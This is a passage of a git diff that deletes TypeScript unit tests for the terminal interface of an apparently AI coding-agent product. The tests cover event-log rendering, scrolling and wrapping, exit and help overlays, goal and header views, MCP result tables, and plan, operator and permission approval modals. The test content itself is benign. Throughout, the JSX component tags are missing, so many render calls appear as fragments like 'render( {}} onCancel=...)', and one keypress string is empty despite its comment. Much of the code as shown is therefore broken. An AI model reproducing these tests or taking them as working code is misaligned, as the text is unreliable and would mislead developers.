"tool_call", callId: "aborted-1", name: "read_file", arguments: '{"path":"/tmp/foo"}', startedAt: Date.now() - 3_000 }, - { type: "tool_result", callId: "aborted-1", name: "read_file", content: "Aborted.", isError: true, finishedAt: Date.now() }, - ], { columns: 60 }); - const frame = lastFrame() ?? ""; - expect(/[⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏]/.test(frame)).toBe(false); - expect(frame).not.toContain("3s"); -}); - -test("EventLog renders a shell call leanly as the command, not run_shell", () => { - const { lastFrame } = renderLog([ - { - type: "tool_call", - callId: "c2", - name: "run_shell", - arguments: '{"command":"npm test"}', - startedAt: 0, - }, - ]); - const frame = lastFrame() ?? ""; - expect(frame).toContain("npm test"); - expect(frame).not.toContain("run_shell"); -}); - -test("EventLog never shows raw JSON for tool call args in default view", () => { - const { lastFrame } = renderLog([ - { - type: "tool_call", - name: "read_file", - arguments: '{"path":"/tmp/example","limit":40}', - }, - ]); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain('{"path"'); - expect(frame).not.toContain('"limit":40'); -}); - -test("EventLog summarizes a tool result by default and shows full content when expanded", () => { - const blocks: ContentBlock[] = [ - { id: "r", type: "tool_result", callId: "c1", name: "read_file", content: " 1\tline one\n 2\tline two", isError: false }, - ]; - expect(renderLog(blocks).lastFrame()).toContain("Read 2 lines"); - expect(renderLog(blocks).lastFrame()).not.toContain("line one"); - expect(renderLog(blocks, { expandedTools: new Set(["r"]) }).lastFrame()).toContain("line one"); -}); - -test("EventLog renders web_search result envelopes as a readable summary", () => { - const content = JSON.stringify({ - results: [ - { title: "Hono", url: "https://hono.dev", snippet: "Fast web framework" }, - ], - }); - const { lastFrame } = renderLog([ - { type: "tool_result", callId: "web-1", name: "web_search", content, isError: false }, - ]); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Found 1 web result"); - expect(frame).not.toContain('"results"'); -}); - -test("EventLog collapses a real JSON document result until expanded", () => { - const json = '{"name":"corbits","version":"1.0.0"}'; - const blocks: ContentBlock[] = [ - { id: "json", type: "tool_result", callId: "c1", name: "read_file", content: json, isError: false }, - ]; - - const collapsedFrame = renderLog(blocks).lastFrame() ?? ""; - expect(collapsedFrame).toContain("Read 1 line"); - expect(collapsedFrame).not.toContain("corbits"); - - const expandedFrame = renderLog(blocks, { expandedTools: new Set(["json"]) }).lastFrame() ?? ""; - expect(expandedFrame).toContain("corbits"); - expect(expandedFrame).toContain("1.0.0"); -}); - -test("EventLog renders tool result errors in danger styling", () => { - const { lastFrame } = renderLog([ - { type: "tool_result", callId: "c2", name: "write_file", content: "permission denied", isError: true }, - ]); - expect(lastFrame()).toContain("error: permission denied"); -}); - -test("EventLog hides thinking by default", () => { - const { lastFrame } = renderLog([{ type: "thinking", content: "internal reasoning" }]); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("thinking…"); - expect(frame).not.toContain("internal reasoning"); -}); - -test("EventLog expands thinking content when thinkingExpanded is set", () => { - const { lastFrame } = renderLog([{ type: "thinking", content: "internal reasoning" }], { - thinkingExpanded: true, - }); - expect(lastFrame()).toContain("internal reasoning"); -}); - -test("EventLog verbose reveals full tool args", () => { - const { lastFrame } = renderLog( - [{ type: "tool_call", name: "read_file", arguments: '{"path":"/tmp/example"}' }], - { verbose: true }, - ); - expect(lastFrame()).toContain("/tmp/example"); -}); - -test("EventLog reveals full tool result content when the block is expanded", () => { - const { lastFrame } = renderLog( - [{ id: "r", type: "tool_result", callId: "c1", name: "read_file", content: " 1\thidden text", isError: false }], - { expandedTools: new Set(["r"]) }, - ); - expect(lastFrame()).toContain("hidden text"); -}); - -test("EventLog filters out reply and task blocks", () => { - const { lastFrame } = renderLog([ - { type: "tasks", tasks: [{ id: "1", title: "create", status: "todo" }] }, - { type: "reply", content: "synthetic" }, - { type: "user", content: "go" }, - ]); - const frame = lastFrame() ?? ""; - expect(frame).toContain("go"); - expect(frame).not.toContain("create"); - expect(frame).not.toContain("synthetic"); -}); - -test("renderableBlocks drops reply and task blocks", () => { - const blocks: ContentBlock[] = [ - { type: "tasks", tasks: [] }, - { type: "reply", content: "x" }, - { type: "text", content: "keep" }, - ]; - expect(renderableBlocks(blocks).map((b) => b.type)).toEqual(["text"]); -}); - -test("EventLog shows long content in full by default, never a show-more marker", () => { - const long = "z".repeat(300); - const { lastFrame } = renderLog([{ id: "u", type: "user", content: long }], { columns: 80 }); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("[show more]"); - const stripped = frame.replace(/\u001b\[\d+(;\d+)*m/g, "").replace(/\s/g, ""); - expect(stripped).toContain(long); -}); - -test("a long tool summary wraps rather than truncating", () => { - const { lastFrame } = renderLog([ - { type: "tool_call", name: "run_shell", arguments: JSON.stringify({ command: "x".repeat(300) }) }, - ], { columns: 80 }); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("[show more]"); - // Full command content must be present, not truncated - const stripped = frame.replace(/\u001b\[\d+(;\d+)*m/g, "").replace(/\s/g, ""); - expect(stripped).toContain("x".repeat(300)); -}); - -test("thinking stays hidden by default while other content shows in full", () => { - const long = "z".repeat(300); - const { lastFrame } = renderLog([ - { id: "t", type: "thinking", content: "hidden reasoning" }, - { id: "u", type: "user", content: long }, - ], { columns: 80 }); - const frame = lastFrame() ?? ""; - expect(frame).not.toContain("hidden reasoning"); - const stripped = frame.replace(/\u001b\[\d+(;\d+)*m/g, "").replace(/\s/g, ""); - expect(stripped).toContain(long); -}); - -test("maxLineOffset leaves exactly the last visibleRows lines on screen", () => { - const lines = buildLines( - Array.from({ length: 12 }, (_, i) => block({ type: "text", content: `line-${i}` })), - 200, - false, - () => false, - ); - const visibleRows = 5; - const maxOffset = maxLineOffset(lines, visibleRows); - expect(maxOffset).toBe(lines.length - visibleRows); - const { start, end } = lineWindow(lines, maxOffset, visibleRows); - expect(end).toBe(lines.length); - expect(end - start).toBe(visibleRows); -}); - -test("the bottom is steady: every offset at or past maxLineOffset shows the same full tail", () => { - const lines = buildLines( - Array.from({ length: 12 }, (_, i) => block({ type: "text", content: `line-${i}` })), - 200, - false, - () => false, - ); - const visibleRows = 5; - const maxOffset = maxLineOffset(lines, visibleRows); - const atMax = lineWindow(lines, maxOffset, visibleRows); - expect(atMax.end).toBe(lines.length); - for (const offset of [maxOffset + 1, lines.length - 1, lines.length + 5]) { - expect(lineWindow(lines, offset, visibleRows)).toEqual(atMax); - } -}); - -test("the window never paints more than visibleRows for any offset", () => { - const lines = buildLines( - Array.from({ length: 30 }, (_, i) => block({ type: "text", content: `line-${i}` })), - 200, - false, - () => false, - ); - const visibleRows = 6; - for (let offset = -3; offset <= lines.length + 3; offset++) { - const { start, end } = lineWindow(lines, offset, visibleRows); - expect(end - start).toBeLessThanOrEqual(visibleRows); - expect(start).toBeGreaterThanOrEqual(0); - expect(end).toBeLessThanOrEqual(lines.length); - } -}); - -test("EventLog windows visible blocks by scrollOffset", () => { - const blocks: ContentBlock[] = Array.from({ length: 10 }, (_, i) => ({ - type: "text" as const, - content: `line-${i}`, - })); - const { lastFrame } = renderLog(blocks, { scrollOffset: 0, visibleRows: 3 }); - const frame = lastFrame() ?? ""; - // Offset zero starts at the oldest line and paints forward within the row - // budget. The window is bounded — distant lines stay hidden. - expect(frame).toContain("line-0"); - expect(frame).not.toContain("line-5"); - expect(frame).not.toContain("line-9"); -}); - -test("wrapCount word-wraps greedily instead of packing characters", () => { - expect(wrapCount("aaaaaa aaaaaa aaaaaa", 10)).toBe(3); - expect(Math.ceil("aaaaaa aaaaaa aaaaaa".length / 10)).toBe(2); - expect(wrapCount("short", 10)).toBe(1); - expect(wrapCount("a\nb\nc", 10)).toBe(3); -}); - -test("buildLines explodes a multi-line text block into one line per visual row", () => { - const lines = buildLines([block({ type: "text", content: "a\nb\nc" })], 200, false, () => false); - expect(lines.length).toBe(3); -}); - -test("buildLines inserts a blank spacer line between conversational turns", () => { - const lines = buildLines( - [block({ type: "user", content: "hi" }), block({ type: "text", content: "reply" })], - 200, - false, - () => false, - ); - // The user banner contributes its own padding rows above/below; the turn - // separator is the true empty line right before the next turn starts. - const spacerIndex = lines.length - 2; - expect(lineText(lines[spacerIndex]!)).toBe(""); -}); - -test("an expanded shell command wraps into rows that each fit the width", () => { - const cmd = "echo " + "y".repeat(60); - const columns = 30; - const lines = buildLines( - [block({ type: "tool_call", name: "run_shell", arguments: JSON.stringify({ command: cmd }) })], - columns, - false, - () => true, - ); - expect(lines.length).toBeGreaterThan(1); - // Hang-indent uses the full content column (TOOL_INDENT + "$ " + wrapped body). - for (const line of lines) expect(lineText(line).length).toBeLessThanOrEqual(columns); -}); - -test("a wrapped line becomes one single-row line per visual row", () => { - // One logical line far longer than the pane: every line it produces must be a - // single row so the scroll window can step one terminal row at a time. - const long = Array.from({ length: 30 }, (_, i) => `word${i}`).join(" "); - const columns = 24; - const lines = buildLines([block({ type: "text", content: long })], columns, false, () => false); - expect(lines.length).toBeGreaterThan(1); -}); - -test("inline styling survives across a wrap boundary", () => { - // The bold span sits late in a line that must wrap, so it lands on a later - // visual row. Slicing segments per row must keep the styled text intact. - const content = "padding ".repeat(8) + "**emphasised**"; - const { lastFrame } = renderLog([{ type: "text", content }], { columns: 30 }); - const frame = lastFrame() ?? ""; - expect(frame).toContain("emphasised"); -}); - -test("wrapLines preserves leading indentation on the first row", () => { - const rows = wrapLines(" indented code line that is quite long here", 20); - expect(rows.length).toBeGreaterThan(1); - expect(rows[0]!.startsWith(" ")).toBe(true); -}); - -test("wrapLines hard-breaks a word longer than the width without losing characters", () => { - const rows = wrapLines("x".repeat(50), 20); - expect(rows.join("")).toBe("x".repeat(50)); - expect(rows.every((r) => r.length <= 20)).toBe(true); -}); - -test("lineWindow advances one line per scroll step", () => { - const lines = buildLines( - Array.from({ length: 6 }, (_, i) => block({ type: "text", content: `line-${i}` })), - 200, - false, - () => false, - ); - const w0 = lineWindow(lines, 0, 3); - const w1 = lineWindow(lines, 1, 3); - expect(w1.start).toBe(w0.start + 1); -}); - -test("buildLinesIncremental reuses the filtered blocks array when contentBlocks is unchanged by reference", () => { - // A streamed token mutates the trailing block's content in place rather than - // replacing the ContentBlock[] array (see use-stream.ts's contentBlocks - // getter), so buildLinesIncremental must skip renderableBlocks().filter() - // entirely on that reference match. Re-walking the whole array on every - // token is what made per-token layout cost grow with transcript length. - const raw: ContentBlock[] = Array.from({ length: 500 }, (_, i) => block({ type: "text", content: `line-${i}` })); - const streaming = block({ type: "text", content: "hello " }); - raw.push(streaming); - - let prev: IncrementalLinesState | undefined; - const isExpanded = () => false; - prev = buildLinesIncremental(prev, raw, 200, false, isExpanded, undefined, undefined, "k"); - const firstBlocks = prev.blocks; - - // Mutate the same object already reachable from `raw` — no new array, - // matching how a real token delta settles. - (streaming as { content: string }).content += "world"; - prev = buildLinesIncremental(prev, raw, 200, false, isExpanded, undefined, undefined, "k"); - - expect(prev.blocks).toBe(firstBlocks); - expect(lineText(prev.lines[prev.lines.length - 1]!)).toContain("hello world"); -}); - -test("buildLinesIncremental re-filters when contentBlocks is a new array reference", () => { - const raw: ContentBlock[] = [block({ type: "text", content: "a" })]; - let prev: IncrementalLinesState | undefined; - const isExpanded = () => false; - prev = buildLinesIncremental(prev, raw, 200, false, isExpanded, undefined, undefined, "k"); - const firstBlocks = prev.blocks; - - const grown = [...raw, block({ type: "text", content: "b" })]; - prev = buildLinesIncremental(prev, grown, 200, false, isExpanded, undefined, undefined, "k"); - - expect(prev.blocks).not.toBe(firstBlocks); - expect(prev.blocks.length).toBe(2); -}); diff --git a/tests/unit/tui/exit-confirm.test.tsx b/tests/unit/tui/exit-confirm.test.tsx deleted file mode 100644 index 973b5e60a..000000000 --- a/tests/unit/tui/exit-confirm.test.tsx +++ /dev/null @@ -1,44 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { ExitConfirm } from "../../../src/tui/components/exit-confirm.js"; - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -test("ExitConfirm renders the title and prompt", () => { - const { lastFrame } = render( {}} onCancel={() => {}} />); - const frame = lastFrame() ?? ""; - expect(frame).toContain("Exit Corbits Code?"); - expect(frame).toContain("(y/n)"); -}); - -test("ExitConfirm confirms on Y", async () => { - let confirmed = false; - const { stdin } = render( { confirmed = true; }} onCancel={() => {}} />); - stdin.write("y"); - await tick(); - expect(confirmed).toBe(true); -}); - -test("ExitConfirm confirms on Enter", async () => { - let confirmed = false; - const { stdin } = render( { confirmed = true; }} onCancel={() => {}} />); - stdin.write("\r"); - await tick(); - expect(confirmed).toBe(true); -}); - -test("ExitConfirm cancels on n", async () => { - let cancelled = false; - const { stdin } = render( {}} onCancel={() => { cancelled = true; }} />); - stdin.write("n"); - await tick(); - expect(cancelled).toBe(true); -}); - -test("ExitConfirm cancels on Escape", async () => { - let cancelled = false; - const { stdin } = render( {}} onCancel={() => { cancelled = true; }} />); - stdin.write("\x1B"); - await tick(); - expect(cancelled).toBe(true); -}); diff --git a/tests/unit/tui/goal-view.test.tsx b/tests/unit/tui/goal-view.test.tsx deleted file mode 100644 index f6080c68f..000000000 --- a/tests/unit/tui/goal-view.test.tsx +++ /dev/null @@ -1,98 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { Box } from "ink"; -import { render } from "ink-testing-library"; - -import { GoalView } from "../../../src/tui/components/goal-view.js"; -import type { GoalSnapshot } from "../../../src/agent/goal.js"; - -function snap(over: Partial = {}): GoalSnapshot { - return { - status: "active", - phase: "planning", - condition: "ship it", - brief: "ship it", - criteria: [], - turnsUsed: 0, - turnBudget: 0, - startedAt: Date.now(), - mainTokens: 0, - evalTokens: 0, - consecutiveEvalFailures: 0, - consecutiveEmptyYields: 0, - ...over, - }; -} - -describe("GoalView", () => { - test("compact strip shows phase trail and brief", () => { - const frame = - render( - , - ).lastFrame() ?? ""; - - expect(frame).toContain("Goal"); - expect(frame).toContain("impl"); - expect(frame).toContain("Fix goal mode layout overflow"); - }); - - test("long brief truncates inside a narrow container", () => { - const brief = - "A very long goal brief that would previously wrap into the Work checklist and footer chrome causing unreadable collisions on both full-width and split panes"; - const frame = - render( - - - , - ).lastFrame() ?? ""; - - expect(frame).toContain("Goal"); - const lines = frame.split("\n"); - for (const line of lines) { - // paddingX=1 eats 2 cols; allow a small slack for ink measurement - expect(line.length).toBeLessThanOrEqual(42); - } - // Full brief should not appear as a single unbroken line longer than width. - expect(frame.includes(brief)).toBe(false); - }); - - test("acceptance criteria keep glyph and title separated under width pressure", () => { - const frame = - render( - - - , - ).lastFrame() ?? ""; - - expect(frame).toContain("Acceptance"); - expect(frame).toContain("●"); - expect(frame).toMatch(/●\s/); - expect(frame).not.toMatch(/Acceptance[a-z]/); - }); - - test("phase trail remains readable (current phase visible)", () => { - const frame = - render( - , - ).lastFrame() ?? ""; - - expect(frame).toContain("review"); - }); -}); diff --git a/tests/unit/tui/header.test.tsx b/tests/unit/tui/header.test.tsx deleted file mode 100644 index 42f0dc676..000000000 --- a/tests/unit/tui/header.test.tsx +++ /dev/null @@ -1,59 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { Header } from "../../../src/tui/components/header.js"; -import type { HeaderProps } from "../../../src/tui/components/header.js"; - -function renderHeader(props: Partial = {}) { - return render( -
, - ); -} - -test("Header no longer renders the product name — it lives in the status bar", () => { - const { lastFrame } = renderHeader(); - expect(lastFrame() ?? "").not.toContain("Corbits Code"); -}); - -test("Header renders the latest user message", () => { - const { lastFrame } = renderHeader({ latestUserMessage: "do the thing" }); - expect(lastFrame()).toContain("do the thing"); -}); - -test("Header renders the profile when provided", () => { - const { lastFrame } = renderHeader({ profile: "architect" }); - expect(lastFrame()).toContain("architect"); -}); - -test("Header does not render a profile bracket when none is provided", () => { - const { lastFrame } = renderHeader(); - expect(lastFrame() ?? "").not.toContain("["); -}); - -test("Header no longer renders the working directory — it lives in the status bar", () => { - const { lastFrame } = renderHeader({ width: 160, latestUserMessage: "do the thing" }); - expect(lastFrame()).toContain("do the thing"); -}); - -test("Header does not render the session clock", () => { - // Elapsed time was removed from the header — it lives in the in-flight indicator. - const { lastFrame } = renderHeader(); - expect(lastFrame() ?? "").not.toContain("0:00"); -}); - -test("Header renders the workflow stepper when provided", () => { - const { lastFrame } = renderHeader({ - workflow: { name: "refactor", stepIndex: 1, total: 3, label: "editing" }, - }); - expect(lastFrame()).toContain("refactor"); - expect(lastFrame()).toContain("2/3"); -}); - -test("Header does not render the dollar cost", () => { - const { lastFrame } = renderHeader({ latestUserMessage: "x" }); - expect(lastFrame() ?? "").not.toContain("$"); -}); diff --git a/tests/unit/tui/help-overlay.test.tsx b/tests/unit/tui/help-overlay.test.tsx deleted file mode 100644 index 1f1797cfc..000000000 --- a/tests/unit/tui/help-overlay.test.tsx +++ /dev/null @@ -1,25 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { HelpOverlay } from "../../../src/tui/components/help-overlay.js"; -import { SHORTCUTS, SLASH_COMMANDS } from "../../../src/tui/keymap-table.js"; - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -test("HelpOverlay lists every shortcut and slash command from the table", () => { - const { lastFrame } = render( {}} />); - const frame = lastFrame() ?? ""; - for (const entry of SHORTCUTS) { - expect(frame).toContain(entry.keys); - } - for (const entry of SLASH_COMMANDS) { - expect(frame).toContain(entry.keys); - } -}); - -test("HelpOverlay closes on escape", async () => { - let closed = false; - const { stdin } = render( { closed = true; }} />); - stdin.write("\x1B"); - await tick(); - expect(closed).toBe(true); -}); diff --git a/tests/unit/tui/hook-panel.test.tsx b/tests/unit/tui/hook-panel.test.tsx deleted file mode 100644 index ffc0f8c0a..000000000 --- a/tests/unit/tui/hook-panel.test.tsx +++ /dev/null @@ -1,35 +0,0 @@ -import { expect, test } from "bun:test"; -import { render } from "ink-testing-library"; - -import { HookPanel } from "../../../src/tui/components/hook-panel.js"; - -test("HookPanel renders empty state", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("none registered"); - expect(lastFrame()).toContain(".corbits/hooks, ~/.corbits/hooks"); -}); - -test("HookPanel renders hook status details", () => { - const { lastFrame } = render( - , - ); - - const frame = lastFrame() ?? ""; - expect(frame).toContain("hook.ts"); - expect(frame).toContain("typescript"); - expect(frame).toContain("exit 1"); - expect(frame).toContain("/tmp/hook.ts"); -}); diff --git a/tests/unit/tui/in-flight-indicator.test.tsx b/tests/unit/tui/in-flight-indicator.test.tsx deleted file mode 100644 index f372844f6..000000000 --- a/tests/unit/tui/in-flight-indicator.test.tsx +++ /dev/null @@ -1,78 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { - InFlightIndicator, - resolveInlineWorkflowChip, -} from "../../../src/tui/components/in-flight-indicator.js"; -import { shouldShowProgressRow } from "../../../src/tui/chrome-zones.js"; -import { SPINNER_FRAMES } from "../../../src/tui/hooks/use-spinner.js"; -import type { WorkflowStatus } from "../../../src/tui/workflow-controller.js"; - -const tick = (ms = 20): Promise => new Promise((r) => setTimeout(r, ms)); - -const emptyWorkflow = (over: Partial = {}): WorkflowStatus => ({ - active: false, - name: undefined, - stepIndex: 0, - total: 0, - label: "", - steps: [], - capabilities: [], - ...over, -}); - -test("shows the spinner frame and label while active", () => { - const { lastFrame } = render(); - const frame = lastFrame() ?? ""; - expect(SPINNER_FRAMES.some((g) => frame.includes(g))).toBe(true); - expect(frame).toContain("Thinking…"); -}); - -test("spinner glyph advances on its own tick without parent rerender", async () => { - const { lastFrame } = render(); - const initial = lastFrame() ?? ""; - await tick(200); - const after = lastFrame() ?? ""; - expect(after).not.toBe(initial); -}); - -test("renders nothing while inactive with no workflow", () => { - const { lastFrame } = render(); - expect((lastFrame() ?? "").trim()).toBe(""); -}); - -test("shouldShowProgressRow gates the permanent spacer", () => { - expect(shouldShowProgressRow({ active: false, hasWorkflow: false })).toBe(false); - expect(shouldShowProgressRow({ active: true, hasWorkflow: false })).toBe(true); - expect(shouldShowProgressRow({ active: false, hasWorkflow: true })).toBe(true); -}); - -test("resolveInlineWorkflowChip returns the live named workflow", () => { - const chip = resolveInlineWorkflowChip( - emptyWorkflow({ active: true, name: "review", stepIndex: 1, total: 3, label: "critique" }), - ); - expect(chip).toEqual({ name: "review", stepIndex: 1, total: 3, label: "critique" }); -}); - -test("resolveInlineWorkflowChip does not pin a done chip after workflows finish", () => { - expect( - resolveInlineWorkflowChip( - emptyWorkflow({ active: false, name: "ship", total: 4, label: "done" }), - ), - ).toBeUndefined(); -}); - -test("resolveInlineWorkflowChip is undefined with no named active workflow", () => { - expect(resolveInlineWorkflowChip(emptyWorkflow())).toBeUndefined(); - expect(resolveInlineWorkflowChip(emptyWorkflow({ active: true }))).toBeUndefined(); -}); - - - -test("surfaces an elapsed counter only once the wait runs long", () => { - const quick = render().lastFrame() ?? ""; - expect(quick).not.toContain("s"); - - const slow = render().lastFrame() ?? ""; - expect(slow).toContain("4s"); -}); diff --git a/tests/unit/tui/mcp-table.test.ts b/tests/unit/tui/mcp-table.test.ts deleted file mode 100644 index b191808ab..000000000 --- a/tests/unit/tui/mcp-table.test.ts +++ /dev/null @@ -1,86 +0,0 @@ -import { test, expect, describe } from "bun:test"; -import { extractMcpRecords, extractMcpRecord } from "../../../src/tui/mcp-result-format.js"; -import { mcpRecordsToView, mcpRecordToView } from "../../../src/tui/mcp-view.js"; -import { viewToLines } from "../../../src/tui/view/index.js"; -import type { ViewNode } from "../../../src/tui/view/spec.js"; - -const frameOf = (node: ViewNode, columns: number): string => - viewToLines(node, columns) - .map((line) => line.map((s) => s.text).join("")) - .join("\n"); - -const projects = JSON.stringify({ - projects: [ - { name: "Website redesign", status: { name: "Backlog" }, priority: { name: "None" }, team: { name: "Acme" } }, - { name: "Mobile app launch", status: { name: "In Progress" }, priority: { name: "High" }, team: { name: "Globex" } }, - ], -}); - -describe("extractMcpRecords / extractMcpRecord", () => { - test("pulls a wrapped record array", () => { - const r = extractMcpRecords(projects); - expect(r?.label).toBe("projects"); - expect(r?.items).toHaveLength(2); - }); - test("distinguishes a single record from a list", () => { - expect(extractMcpRecords(JSON.stringify({ name: "solo", id: 1 }))).toBeNull(); - expect(extractMcpRecord(JSON.stringify({ name: "solo", id: 1 }))).not.toBeNull(); - expect(extractMcpRecord(projects)).toBeNull(); - }); -}); - -describe("mcpRecordsToView", () => { - test("builds a grid node with index + present columns and projected rows", () => { - const node = mcpRecordsToView(extractMcpRecords(projects)!); - expect(node.type).toBe("grid"); - if (node.type !== "grid") return; - // header row is first; inspect its text nodes - const headers = (node.rows[0] as any[]).map((c: any) => c.text); - expect(headers).toEqual(["#", "Name", "Status", "Priority", "Team"]); - // data row 1 (index 1 in rows) is the second record - const row1 = node.rows[2] as any[]; - expect(row1[1]?.text).toBe("Mobile app launch"); - expect(row1[2]?.text).toBe("In Progress"); - expect(row1[3]?.text).toBe("High"); - expect(row1[4]?.text).toBe("Globex"); - }); - - test("renders through View, fitting the width", () => { - const node = mcpRecordsToView(extractMcpRecords(projects)!); - const frame = frameOf(node, 70); - expect(frame).toContain("Mobile app launch"); - expect(frame).toContain("In Progress"); - for (const line of frame.split("\n")) expect(line.length).toBeLessThanOrEqual(70); - }); -}); - -describe("mcpRecordToView", () => { - const project = JSON.stringify({ - name: "Mobile app launch", - status: { name: "In Progress" }, - priority: { name: "High" }, - id: "abc-123", - createdAt: "2026-06-08T20:00:00.000Z", - targetDate: "2026-06-17T00:00:00.000Z", - }); - - test("builds a stack with title and salient rows for fields, hiding ids and timestamps", () => { - const node = mcpRecordToView(extractMcpRecord(project)!); - expect(node.type).toBe("stack"); - if (node.type !== "stack") return; - const texts = (node.children as any[]).map((c: any) => c.text ?? (c.children?.[0]?.text + " " + c.children?.[1]?.text)); - expect(texts.some((t: string) => /Mobile app launch/.test(t))).toBe(true); - expect(texts.some((t: string) => /Status/.test(t))).toBe(true); - expect(texts.some((t: string) => /Target Date/.test(t))).toBe(true); - expect(texts.join(" ")).not.toContain("abc-123"); - expect(texts.join(" ")).not.toContain("Created At"); - }); - - test("renders through View with the title and date", () => { - const node = mcpRecordToView(extractMcpRecord(project)!); - const frame = frameOf(node, 80); - expect(frame).toContain("Mobile app launch"); - expect(frame).toContain("2026-06-17"); - expect(frame).not.toContain("abc-123"); - }); -}); diff --git a/tests/unit/tui/modal-stack.test.tsx b/tests/unit/tui/modal-stack.test.tsx deleted file mode 100644 index eecd909fd..000000000 --- a/tests/unit/tui/modal-stack.test.tsx +++ /dev/null @@ -1,296 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { ModalStack, type ModalStackProps } from "../../../src/tui/components/modal-stack.js"; -import type { ApprovalOutcome, PermissionRequest } from "../../../src/permission/types.js"; -import type { PlanStep } from "../../../src/tui/use-stream.js"; -import type { AgentProvider } from "../../../src/tui/components/agent-modal.js"; -import type { ActiveApproval } from "../../../src/tui/hooks/use-gates.js"; - -const tick = (): Promise => new Promise((r) => setTimeout(r, 20)); - -const PLAN: PlanStep[] = [ - { file: "src/index.ts", action: "add retry logic", completed: false, deviated: false }, -]; - -const OPERATOR = { question: "Which approach?", options: ["Option A", "Option B"] }; - -const PERMISSION: PermissionRequest = { - tool: "run_shell", - action: "Run shell command", - subject: "npm test", - scopes: [{ id: "prefix-1", label: "Always allow npm *", pattern: "npm *" }], -}; - -const PLAN_APPROVAL = { id: 1, kind: "plan", plan: PLAN } satisfies ActiveApproval; -const OPERATOR_APPROVAL = { id: 2, kind: "operator", ...OPERATOR } satisfies ActiveApproval; -const PERMISSION_APPROVAL = { - id: 3, - kind: "permission", - request: PERMISSION, - timeoutMs: null, -} satisfies ActiveApproval; - -const PROVIDERS: AgentProvider[] = []; - -function base(): ModalStackProps { - return { - hooks: [], - hookPanelOpen: false, - helpOpen: false, - onCloseHelp: () => {}, - agentModalOpen: false, - agentProviders: PROVIDERS, - activeProvider: "openai", - activeModel: "gpt-4o", - activeEffort: undefined, - onAgentApply: () => {}, - onAgentPersistDefault: () => {}, - onAgentSaveProvider: () => ({ ok: true }), - onAgentDeleteProvider: () => {}, - onCloseAgentModal: () => {}, - activeApproval: null, - onApprove: () => {}, - onReject: () => {}, - onSelectOperator: () => {}, - onResolvePermission: () => {}, - }; -} - -test("HookPanel renders when hookPanelOpen is true", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("hooks"); -}); - -test("HookPanel does not render when hookPanelOpen is false", () => { - const { lastFrame } = render(); - expect(lastFrame()).not.toContain("hooks"); -}); - -test("HelpOverlay renders when helpOpen is true", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("Keyboard Shortcuts"); -}); - -test("HelpOverlay does not render when helpOpen is false", () => { - const { lastFrame } = render(); - expect(lastFrame()).not.toContain("Keyboard Shortcuts"); -}); - -test("HelpOverlay Enter calls onCloseHelp", async () => { - let closed = false; - const { stdin } = render( { closed = true; }} />); - await tick(); - stdin.write("\r"); - await tick(); - expect(closed).toBe(true); -}); - -test("ApprovalModal renders when pendingPlan is non-null", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("Plan Review"); - expect(lastFrame()).toContain("src/index.ts"); -}); - -test("ApprovalModal does not render when pendingPlan is null", () => { - const { lastFrame } = render(); - expect(lastFrame()).not.toContain("Plan Review"); -}); - -test("ApprovalModal Enter calls onApprove", async () => { - let approved = false; - const { stdin } = render( - { approved = true; }} /> - ); - await tick(); - stdin.write("\r"); - await tick(); - expect(approved).toBe(true); -}); - -test("ApprovalModal Escape calls onReject", async () => { - let rejected = false; - const { stdin } = render( - { rejected = true; }} /> - ); - await tick(); - stdin.write("\x1B"); - await tick(); - expect(rejected).toBe(true); -}); - -test("OperatorModal renders for an active operator approval", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("Which approach?"); - expect(lastFrame()).toContain("Option A"); - expect(lastFrame()).toContain("Option B"); -}); - -test("OperatorModal does not render without an active approval", () => { - const { lastFrame } = render(); - expect(lastFrame()).not.toContain("Which approach?"); -}); - -test("OperatorModal Enter calls onSelectOperator with the active ID and selected option", async () => { - let selected: { id: number; index: number } | null = null; - const { stdin } = render( - { - selected = { id, index: result.kind === "option" ? result.index : -1 }; - }} - /> - ); - await tick(); - stdin.write("\r"); - await tick(); - expect(selected).toEqual({ id: OPERATOR_APPROVAL.id, index: 0 }); -}); - -const EFFORT_PROVIDERS: AgentProvider[] = [ - { name: "openai", baseURL: "https://api.openai.com/v1", models: ["gpt-5.1"] }, -]; - -test("AgentModal advances to the effort step and applies the chosen effort", async () => { - let applied: { provider: string; model: string; effort: string } | null = null; - const { lastFrame, stdin } = render( - { - applied = { provider, model, effort }; - }} - />, - ); - await tick(); - stdin.write("\r"); // provider -> model - await tick(); - stdin.write("\r"); // model -> effort - await tick(); - expect(lastFrame()).toContain("reasoning effort"); - expect(lastFrame()).not.toContain("Default (no override)"); - stdin.write("\x1B[A"); // medium -> low - await tick(); - stdin.write("\x1B[A"); // low -> minimal - await tick(); - stdin.write("\r"); // apply - await tick(); - expect(applied).toEqual({ provider: "openai", model: "gpt-5.1", effort: "minimal" }); -}); - -test("AgentModal effort step 'd' persists the chosen effort as default", async () => { - let persisted: { effort: string | undefined } | null = null; - const { stdin } = render( - { - persisted = { effort }; - }} - />, - ); - await tick(); - stdin.write("\r"); // provider -> model - await tick(); - stdin.write("\r"); // model -> effort (cursor starts on medium) - await tick(); - stdin.write(""); // medium -> high - await tick(); - stdin.write("d"); // persist the chosen effort - await tick(); - expect(persisted).toEqual({ effort: "high" }); -}); - -test("PermissionModal renders for an active permission approval", () => { - const { lastFrame } = render(); - expect(lastFrame()).toContain("Approval needed"); - expect(lastFrame()).toContain("npm test"); -}); - -test("PermissionModal does not render without an active approval", () => { - const { lastFrame } = render(); - 